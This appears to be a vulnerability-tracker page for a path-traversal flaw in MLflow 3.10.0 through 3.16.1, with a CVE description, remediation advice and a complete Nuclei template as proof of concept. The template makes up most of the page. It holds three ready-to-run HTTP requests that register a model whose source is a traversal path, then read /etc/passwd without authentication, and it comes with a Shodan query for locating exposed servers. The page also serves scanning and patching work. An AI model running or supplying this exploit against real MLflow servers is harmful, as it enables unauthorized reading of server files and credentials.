CVE-2026-116690: MLflow 3.10.0-3.16.1 - Arbitrary File Read

2026-11-09 PoC Public

Description

MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.

Details

CVE
CVE-2026-116690 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-116690

info:
  name: MLflow 3.10.0-3.16.1 - Arbitrary File Read
  author: ashish-cybersec
  severity: high
  description: |
    MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
  remediation: |
    Upgrade to version 3.17.0 or later.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33
    - https://github.com/mlflow/mlflow/pull/25870
    - https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116690
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-116690
    epss-score: 0.01801
    epss-percentile: 0.78648
    cwe-id: CWE-22
  metadata:
    max-request: 3
    verified: true
    vendor: mlflow
    product: mlflow
    shodan-query: http.title:"MLflow"
  tags: cve,cve2026,mlflow,lfi,vkev

variables:
  model: "{{to_lower(rand_base(10))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "registered_model")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"../../../../../../../../etc","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "model_version")'
        condition: and
        internal: true

  - raw:
      - |
        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022067e4ff7ff49e6749eb53a8882c9012c0ceca52364375b4106cdb1bbcc0a664d2022100cf9eec42477edec1a714b56ae65bbf3cd8f0ab2b0b38edb59aa16dd504112522:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life